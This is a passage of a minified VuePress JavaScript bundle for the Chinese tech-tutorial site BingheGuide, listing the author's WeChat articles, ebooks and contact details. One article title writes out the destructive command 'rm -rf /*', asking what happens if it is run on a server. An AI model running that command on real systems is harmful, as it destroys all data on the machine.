"),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492295&idx=1&sn=4d1a4407977febf2e8c2e234f42e1c30&chksm=cf5655c6f821dcd0eb1f6945217cb29a8ab89dd4aaeb507da173d2a94aae514c40c4185fad7e&token=1053291757&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("千万不要轻易尝试“熊猫烧香”,这不,我后悔了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492259&idx=1&sn=067e2f48577c23eadae9922f9bda0cf0&chksm=cf5655a2f821dcb47322fa711ba6e4c21d9d10ec52ef2c8d7c6ca228e402aba2ffd6f25303c2&token=1053291757&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("从小白程序员到大厂高级技术专家我看过哪些书籍?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492020&idx=1&sn=66b8e7335c05067ad0187a45642c1884&chksm=cf5656b5f821dfa3437f652040bfb3efe51390773de8c1b9e2be1aab1985f3c7e5ac642faf0f&token=1093611389&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("敲定了,冰河要搞大事情了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491980&idx=1&sn=cde6f4556e8dbb76798fd4aa9ac8aeb8&chksm=cf56568df821df9b22456fcc9495431d6fda8e756ef1a08410cf425388e9bbbf2ebcf08e069c&token=1093611389&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("连续一年多没有周末是一种怎样的体验?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491860&idx=1&sn=7a5692c74f88ac0e6e62cad958fe50b0&chksm=cf565615f821df0321278f83d50e1bbb961e2b5a3e2b9945219d4ded56b7aa7d73f8bb840402&token=1093611389&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("小伙伴问我:「冰河技术」公号如何查看文章分类?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489715&idx=1&sn=f6153571a149be56ee5c9242eccc2c35&chksm=cf55afb2f82226a4ac7101378220b60528015989e1c805b59575f982d993e9556e411c9d42df&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("新年新气象,2021年我们一起携手前行!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489729&idx=1&sn=64c1c1089a8ff2103673042c7ddf0d3c&chksm=cf55afc0f82226d6e5d54724349d358c7298a9bacc57d0419127656c443eb6c78678428d20cb&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("元旦在家撸了两天Seata源码,你们是咋度过的呢?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490414&idx=1&sn=1bf8eec5825d0a1299e32e643d8e0eda&chksm=cf55ac6ff8222579bace9de611cb34e258664fecb27420d41def225d990a61fc6f464cd73cfb&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("完了,这货迟早要超过我!我该怎么办?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490481&idx=1&sn=d0e39c092165536f165ee5ceced37e2a&chksm=cf55acb0f82225a6d35f227e3b26d409a4b30683fb6531b3cad5e4c50c133ec3f79e8f0a1a9b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河去腾讯了?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490629&idx=1&sn=8fbbefd2da5f15e0e0827d2d50292385&chksm=cf55ab44f8222252c89aa414e75a818e370c0642eb3bd2eec03b6eefefc8b4dabedf9d156724&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("满满的干货,我不信你能看完!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490753&idx=1&sn=0bbe4a255b687f88a5579635274e920a&chksm=cf55abc0f82222d6e56e724be444d354a6e6a4096b3c02bcf955d3d07e7595ad942db396496b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("团年啦"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490774&idx=1&sn=29f0db1cd78da44aa9e3b5c31a7d0b0a&chksm=cf55abd7f82222c1fa4a8637d1d789ddcafcac61ce789d249904cadac2d025c4b9ffdaa50829&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("假期无聊冰河开发了一款国民级游戏!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490777&idx=1&sn=28665e6a5c1624e4d951f047b4839259&chksm=cf55abd8f82222ce7cb2ea80817d97c6312df955fa01fe5b9fe2e3d316a0f19603235b09118d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("过完年,该减肥了(说的不是我)!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489400&idx=1&sn=4c86fb3474544a16c7853a0ad076fdc8&chksm=cf55a079f822296f938ce17fc191456e162dbb8e051b5b35f8b32326f73b42e66f885265ba29&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("程序员究竟要不要读源码?!P8级别架构师带你一起辩证分析!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489223&idx=1&sn=1c7b1bce3ef9297f88bd77ba709cd59a&chksm=cf55a1c6f82228d041b09b2c6f778f93f6b32f05abf8984519d59e88acb7304f11e7addd89c4&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("很多小伙伴说想看我的真容,这次满足你的好奇心!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489213&idx=1&sn=48f7634975463aa8e966afc0a259f589&chksm=cf55a1bcf82228aa45809a62b7d84dc8078c198082f18470fe4ed76c77f91330d61225db0841&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("跟小伙伴们聊聊我有趣的大学生活和我那两个好基友!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489203&idx=1&sn=ba66069fb78dd1ffe8fe03a3d1a73d21&chksm=cf55a1b2f82228a4983c48868a504351d5c8b2b5772dfe53d2dec9333a2b184a2d89ca4a730c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("下班咯~老地方见!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489171&idx=1&sn=9ca9e36e3fbdd407c9b1748511189244&chksm=cf55a192f822288410140921805b5cce0f059ec6e00c7942bfdfbb9f465f47a2860b5d38b8d3&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("大家国庆中秋准备怎么过呀?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489095&idx=1&sn=7c36585b322424d3da826f815181d04c&chksm=cf55a146f8222850ab8b7503937331d2edd81f9e119228aa68eb5f374ba4a8b49c4ca092cf03&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("接下来,冰河要有大动作了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489093&idx=1&sn=324f2847939fc2a45eab802113fc0b9c&chksm=cf55a144f82228522acebae4887df472b413fc2d1c558175d041d8295d68202a7885079eaf9f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("致读者:关于冰河技术微信公众号的重大调整!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489478&idx=1&sn=b06a4ac9282679fe601170a85a739fdc&chksm=cf55a0c7f82229d11b3b0b196793647422a774296bff91891604f4ed37219d6b7a0dcdbffa94&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河技术微信公众号终于可以留言了(文末领福利)!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489631&idx=1&sn=755cff80d63168634464666cffc74219&chksm=cf55af5ef8222648b65e1b9963d799b4fcf8563cc0c962bcaa06c34cfb2016a9167ef1d15b82&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("毕业三年,如何达到月薪30K?我想跟你聊聊!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489644&idx=1&sn=f77943df3a6f2cc33974f83d7f536627&chksm=cf55af6df822267bbe9ed604c59db4cd71b004c489bc58d7441b3066455450ce5b066113186a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河是谁?到底是干啥的?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489703&idx=1&sn=5fb966a0269ff9728e827ea4ecb0fb67&chksm=cf55afa6f82226b064a19b7bcbb39b6e9b0d7dc4fbc6b0fdc344206ac25eeb80d14382986a7e&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("总结2020:5个月出版两本书,日更公众号是一种怎样的体验?"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"视频系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#视频系列"}},[e._v("#")]),e._v(" 视频系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494076&idx=1&sn=2502fc281ef2b42e7aca42ddfd72136b&chksm=cf565ebdf821d7abaa5079600af6f60d1223eec4d9375b634bdee59574381ac97591ef5d7fbc&token=1929495520&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("2分钟完美安装Docker,学不会你捶我!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494009&idx=1&sn=e401cf9a39ce8106df0a6d6cef701f6f&chksm=cf565e78f821d76ee8f32204cb7681d90410ab2c8962e5f0299b23d222d0a45e80f11ab14b48&token=1929495520&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河开始“拍片儿”了?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493675&idx=1&sn=de33bb8ab2029a992f398af154760264&chksm=cf565f2af821d63ce322648dcf74baeb8b9c8f9bad20cbbe78ef6c153abcb86e12b78544fcd4&token=1929495520&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("看病排队大半天,诊断2分钟!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491959&idx=1&sn=37f033cc90378390d140f12de03c1ad8&chksm=cf565676f821df6033b4bd1632f93ee1ed7564a2ff473dacd0b76f1e594bed5e0bd2b963ec92&token=1093611389&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("2分钟完美手动安装Docker环境!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490755&idx=1&sn=a57491f87164366ada53577f4218078f&chksm=cf55abc2f82222d406c09d4f881d8f83ff9e78db364cf770f1633e69baa00e937be7830fce9c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("春节喜气洋洋,小区给大家发红包,我也沾沾喜气!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490768&idx=1&sn=932d696c84b4d30358a7c4a6696dcd30&chksm=cf55abd1f82222c7c2763207783d80b06da060dc6c8babb77838bdd02565bf88c8c057f64a86&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("AI正在深刻改变人们的生活!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489644&idx=1&sn=f77943df3a6f2cc33974f83d7f536627&chksm=cf55af6df822267bbe9ed604c59db4cd71b004c489bc58d7441b3066455450ce5b066113186a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河假期去哪啦?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490883&idx=1&sn=f90d57b6cb74e138b56106df10b597b9&chksm=cf55aa42f8222354e09e0fed24762d7e29f9965d5fa01412c6fa23924a54f65f061afedcfbac&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("在服务器命令行输入 rm -rf /* 到底会发生什么?"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"小工具"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#小工具"}},[e._v("#")]),e._v(" 小工具")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489466&idx=1&sn=4cd45f2f6c4599148ea148c6a69d2ff2&chksm=cf55a0bbf82229ade4688bd216f0f7229cf6ec236d67f2480d8178fe4ab2bed278b2fd2b3a84&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("IDEA设置System.out.println()和main方法快捷键"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489461&idx=1&sn=d54fac64e91a459bc0f286beb7c500cb&chksm=cf55a0b4f82229a229aad37fef5c4c942bdee9db141ea91045e908b7a55b9b27ee32d50f0770&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Java VisualVM添加Visual GC插件实现JVM性能调优"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489452&idx=1&sn=0325302bf29eab9b048eb3016f612d1d&chksm=cf55a0adf82229bb3e1e88f584f3e5224aea0303963c700d54f0936a01c5e00ac1b7b17d0b30&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("原来Java是这样实现微信小程序加密与解密数据算法的!超赞的有木有?!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"python专题"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#python专题"}},[e._v("#")]),e._v(" Python专题")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489453&idx=1&sn=ebf0cc517519c5b088bbacabf1cdcfb2&chksm=cf55a0acf82229bada0f39ba67550b93622bfdd4cd9bab605fd8d14aab11f141a574e31fd890&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("智能化时代你还在手动刷新浏览器抢火车票?那你就真的Out了!假期快来了,冰河提前放大招,教你如何使用Python脚本自动抢火车票"),a("OutboundLink")],1)])]),e._v(" "),a("h2",{attrs:{id:"重磅福利"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#重磅福利"}},[e._v("#")]),e._v(" 重磅福利")]),e._v(" "),a("p",[e._v("微信搜一搜【冰河技术】微信公众号,关注这个有深度的程序员,每天阅读超硬核技术干货,公众号内回复【PDF】有我准备的一线大厂面试资料和我原创的超硬核PDF技术文档,以及我为大家精心准备的多套简历模板(不断更新中),希望大家都能找到心仪的工作,学习是一条时而郁郁寡欢,时而开怀大笑的路,加油。如果你通过努力成功进入到了心仪的公司,一定不要懈怠放松,职场成长和新技术学习一样,不进则退。如果有幸我们江湖再见!")]),e._v(" "),a("p",[e._v("另外,我开源的各个PDF,后续我都会持续更新和维护,感谢大家长期以来对冰河的支持!!")]),e._v(" "),a("p",[e._v("回复【并发编程】获取全网累计下载60W+的《深入理解高并发编程》电子书。"),a("br"),e._v("\n回复【渗透笔记】获取全网5星好评的《冰河的渗透实战笔记》电子书。")])])}),[],!1,null,null,null);a.default=d.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[15],{308:function(e,a,r){"use strict";r.r(a);var n=r(7),d=Object(n.a)({},(function(){var e=this,a=e._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":e.$parent.slotKey}},[a("h1",{attrs:{id:"bingheguide-冰河指南"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#bingheguide-冰河指南"}},[e._v("#")]),e._v(" BingheGuide | 冰河指南")]),e._v(" "),a("h2",{attrs:{id:"关于本仓库"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#关于本仓库"}},[e._v("#")]),e._v(" 关于本仓库")]),e._v(" "),a("p",[e._v("📚 本仓库是作者冰河多年从事互联网大厂开发、架构的学习历程技术汇总,旨在为大家提供一个清晰详细的学习教程,侧重点更倾向编写Java核心内容、底层原理、架构知识、渗透技术。如果本仓库能为您提供帮助,请给予支持(关注、点赞、分享)!")]),e._v(" "),a("h2",{attrs:{id:"关于我"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#关于我"}},[e._v("#")]),e._v(" 关于我")]),e._v(" "),a("blockquote",[a("p",[e._v("大家好,我是冰河,互联网资深技术专家、MySQL技术专家、分布式与微服务架构专家,"),a("a",{attrs:{href:"https://item.jd.com/13190783.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《深入理解高并发编程:核心原理与案例实战》"),a("OutboundLink")],1),e._v("、"),a("a",{attrs:{href:"https://item.jd.com/12972343.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《深入理解分布式事务:原理与实战》"),a("OutboundLink")],1),e._v("、"),a("a",{attrs:{href:"https://item.jd.com/12710993.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《海量数据处理与大数据技术实战》"),a("OutboundLink")],1),e._v("、"),a("a",{attrs:{href:"https://item.jd.com/13036154.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL技术大全:开发、优化与运维实战》"),a("OutboundLink")],1),e._v(" 图书作者,“冰河技术”微信公众号作者,可视化多数据源数据异构中间件mykit-data作者。多年来,一直致力于分布式系统架构、微服务、分布式数据库、分布式事务与大数据技术的研究,在高并发、高可用、高可扩展性、高可维护性和大数据等领域拥有丰富的架构经验。")])]),e._v(" "),a("div",{attrs:{align:"center"}},[a("a",{attrs:{href:"https://github.com/binghe001/BingheGuide"}},[e._v("关注冰河技术,解锁更多技能!")])]),e._v(" "),a("h2",{attrs:{id:"本站知识总览"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#本站知识总览"}},[e._v("#")]),e._v(" 本站知识总览")]),e._v(" "),a("div",{attrs:{align:"center"}},[a("img",{attrs:{src:"https://binghe001.github.io/images/system/guide/site-all-preview.png?raw=true"}}),e._v(" "),a("div",{staticStyle:{"font-size":"18px"}},[e._v("本站知识总览")]),e._v(" "),a("br")]),e._v(" "),a("h2",{attrs:{id:"加群交流"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#加群交流"}},[e._v("#")]),e._v(" 加群交流")]),e._v(" "),a("p",[e._v("本群的宗旨是给大家提供一个良好的技术学习交流平台,所以杜绝一切广告!由于微信群人满 100 之后无法加入,请扫描下方二维码先添加作者 “冰河” 微信(hacker_binghe),备注:"),a("code",[e._v("学习加群")]),e._v("。")]),e._v(" "),a("div",{attrs:{align:"center"}},[a("img",{attrs:{src:"https://binghe001.github.io/images/personal/hacker_binghe.jpg?raw=true",width:"180px"}}),e._v(" "),a("div",{staticStyle:{"font-size":"18px"}},[e._v("冰河微信")]),e._v(" "),a("br")]),e._v(" "),a("h2",{attrs:{id:"公众号"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#公众号"}},[e._v("#")]),e._v(" 公众号")]),e._v(" "),a("p",[e._v("分享各种编程语言、开发技术、分布式与微服务架构、分布式数据库、分布式事务、云原生、大数据与云计算技术和渗透技术。另外,还会分享各种面试题和面试技巧。内容在 "),a("strong",[e._v("冰河技术")]),e._v(" 微信公众号首发,强烈建议大家关注。")]),e._v(" "),a("div",{attrs:{align:"center"}},[a("img",{attrs:{src:"https://img-blog.csdnimg.cn/20210426115714643.jpg?raw=true",width:"180px"}}),e._v(" "),a("div",{staticStyle:{"font-size":"18px"}},[e._v("公众号:冰河技术")]),e._v(" "),a("br")]),e._v(" "),a("h2",{attrs:{id:"星球"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球"}},[e._v("#")]),e._v(" 星球")]),e._v(" "),a("p",[e._v("加入星球 "),a("strong",[a("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河技术"),a("OutboundLink")],1)]),e._v(",可以获得本站点所有学习内容的指导与帮助。如果你遇到不能独立解决的问题,也可以添加冰河的微信:"),a("strong",[e._v("hacker_binghe")]),e._v(", 我们一起沟通交流。另外,在星球中不只能学到实用的硬核技术,还能学习"),a("strong",[e._v("实战项目")]),e._v("!")]),e._v(" "),a("p",[e._v("关注 "),a("a",{attrs:{href:"https://img-blog.csdnimg.cn/20210426115714643.jpg?raw=true",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河技术"),a("OutboundLink")],1),e._v("公众号,回复 "),a("code",[e._v("星球")]),e._v(" 可以获取入场优惠券。")]),e._v(" "),a("div",{attrs:{align:"center"}},[a("img",{attrs:{src:"https://binghe001.github.io/images/personal/xingqiu.png?raw=true",width:"180px"}}),e._v(" "),a("div",{staticStyle:{"font-size":"18px"}},[e._v("知识星球:冰河技术")]),e._v(" "),a("br")]),e._v(" "),a("h2",{attrs:{id:"开源文档说明"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#开源文档说明"}},[e._v("#")]),e._v(" 开源文档说明")]),e._v(" "),a("p",[a("strong",[e._v("本项目会逐渐开源冰河写的硬核文章(长期更新和维护),如果文章对你有点帮助,小伙伴们动动手指,给个 Star ,冲鸭~~")])]),e._v(" "),a("h3",{attrs:{id:"协议"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#协议"}},[e._v("#")]),e._v(" 协议")]),e._v(" "),a("ul",[a("li",[a("p",[e._v("本作品代码部分采用 "),a("a",{attrs:{href:"https://www.apache.org/licenses/LICENSE-2.0",target:"_blank",rel:"noopener noreferrer"}},[e._v("Apache 2.0协议"),a("OutboundLink")],1),e._v("进行许可。遵循许可的前提下,你可以自由地对代码进行修改,再发布,可以将代码用作商业用途。但要求你:")]),e._v(" "),a("ul",[a("li",[a("strong",[e._v("署名")]),e._v(":在原有代码和衍生代码中,保留原作者署名及代码来源信息。")]),e._v(" "),a("li",[a("strong",[e._v("保留许可证")]),e._v(":在原有代码和衍生代码中,保留Apache 2.0协议文件。")])])]),e._v(" "),a("li",[a("p",[e._v("本作品文档部分采用"),a("a",{attrs:{href:"http://creativecommons.org/licenses/by/4.0/",target:"_blank",rel:"noopener noreferrer"}},[e._v("知识共享署名 4.0 国际许可协议"),a("OutboundLink")],1),e._v("进行许可。 遵循许可的前提下,你可以自由地共享,包括在任何媒介上以任何形式复制、发行本作品,亦可以自由地演绎、修改、转换或以本作品为基础进行二次创作。但要求你:")]),e._v(" "),a("ul",[a("li",[a("strong",[e._v("署名")]),e._v(":应在使用本文档的全部或部分内容时候,注明原作者及来源信息。")]),e._v(" "),a("li",[a("strong",[e._v("非商业性使用")]),e._v(":不得用于商业出版或其他任何带有商业性质的行为。如需商业使用,请联系作者。")]),e._v(" "),a("li",[a("strong",[e._v("相同方式共享的条件")]),e._v(":在本文档基础上演绎、修改的作品,应当继续以知识共享署名 4.0国际许可协议进行许可。")])])])]),e._v(" "),a("h3",{attrs:{id:"注意事项"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#注意事项"}},[e._v("#")]),e._v(" 注意事项")]),e._v(" "),a("p",[a("strong",[e._v("文章转载务必添加冰河微信: hacker_binghe")])]),e._v(" "),a("p",[e._v("转载时请务必在文章开头注明如下信息:"),a("br"),e._v("\n作者:冰河"),a("br"),e._v("\n来源:"),a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496827&idx=2&sn=f4d21f9bc77caea615b210db94958167&chksm=cf56437af821ca6c16200c93b6e6b3fafe954fd719dbc340d092530470c589a4ed2d64c1a48d&token=1652827332&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河技术公众号"),a("OutboundLink")],1)]),e._v(" "),a("h2",{attrs:{id:"冰河整理pdf"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#冰河整理pdf"}},[e._v("#")]),e._v(" 冰河整理PDF")]),e._v(" "),a("p",[e._v("关注 "),a("strong",[e._v("冰河技术")]),e._v(" 微信公众号:")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("并发编程2")]),e._v("” 领取《深入理解高并发编程(第2版)》PDF电子书。")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("并发编程")]),e._v("” 领取《深入理解高并发编程(第1版)》PDF电子书。")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("并发源码")]),e._v("” 领取《并发编程核心知识(源码分析篇 第1版)》PDF电子书。")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("渗透笔记")]),e._v("” 领取《冰河的渗透实战笔记》PDF电子书。")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("我要进大厂")]),e._v("” 领取《我要进大厂系列之面试圣经(第1版)》PDF电子书。")]),e._v(" "),a("p",[e._v("回复 ”"),a("strong",[e._v("限流")]),e._v("“ 领取《亿级流量下的分布式解决方案》PDF电子书。")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("设计模式")]),e._v("” 领取《深入浅出Java23种设计模式》PDF电子书。")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("Java8新特性")]),e._v("” 领取 《Java8新特性教程》PDF电子书。")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("分布式存储")]),e._v("” 领取《跟冰河学习分布式存储技术》 PDF电子书。")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("Nginx")]),e._v("” 领取《跟冰河学习Nginx技术》PDF电子书。")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("互联网工程")]),e._v("” 领取《跟冰河学习互联网工程技术》PDF电子书。")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("冰河索引")]),e._v("” 领取《冰河技术公号文章索引》PDF电子书。")]),e._v(" "),a("h2",{attrs:{id:"公众号文章同步-善用-ctrl-f-搜索文章"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#公众号文章同步-善用-ctrl-f-搜索文章"}},[e._v("#")]),e._v(" 公众号文章同步(善用 Ctrl+F 搜索文章)")]),e._v(" "),a("h3",{attrs:{id:"我的新书"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#我的新书"}},[e._v("#")]),e._v(" 我的新书")]),e._v(" "),a("div",{attrs:{align:"center"}},[a("img",{attrs:{src:"https://img-blog.csdnimg.cn/fe76310aea734752b3b79c4df1438943.jpeg?raw=true",width:"80%"}}),e._v(" "),a("div",{staticStyle:{"font-size":"18px"}},[a("a",{attrs:{href:"https://item.jd.com/13190783.html"}},[e._v("《深入理解高并发编程:核心原理与案例实战》")])]),e._v(" 